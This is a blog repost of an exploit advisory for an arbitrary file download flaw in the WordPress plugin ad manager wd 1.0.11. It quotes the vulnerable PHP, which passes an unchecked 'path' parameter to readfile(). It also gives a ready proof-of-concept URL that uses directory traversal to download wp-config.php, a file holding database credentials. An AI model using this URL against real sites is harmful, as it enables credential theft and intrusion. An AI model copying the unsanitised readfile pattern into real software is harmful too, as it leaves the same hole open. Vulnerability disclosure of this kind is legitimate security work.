Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86375855

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
Exploit Title: WordPress Plugin ad manager wd v1.0.11 - Arbitrary File
Download
Google Dork: N/A
Date: 25.01.2019
Vendor Homepage:
https://web-dorado.com/products/wordpress-ad-manager-wd.html
Software: https://wordpress.org/plugins/ad-manager-wd
Version: 1.0.11
Tested on: Win7 x64,

Exploit Author: 41!kh4224rDz
Author Mail : scanweb18@gmail.com

Vulnerability:
wp-content\plugins\ad-manager-wd\wd_ads_admin_class.php

   30/  if (isset($_GET['export']) && $_GET['export'] == 'export_csv')

   97/   $path = $_GET['path'];
           header('Content-Description: File Transfer');
           header('Content-Type: application/octet-stream');
           header('Content-Transfer-Encoding: binary');
           header('Expires: 0');
           header('Cache-Control: must-revalidate, post-check=0,
pre-check=0');
            header('Pragma: public');

           header('Content-Type: text/csv; charset=utf-8');
           header('Content-Disposition: attachment; filename=' .
basename($path));

           readfile($path);
 Arbitrary File Download/Exploit :

http://localhost/wordpress/wp-admin/edit.php?post_type=wd_ads_ads&export=export_csv&path=../wp-config.php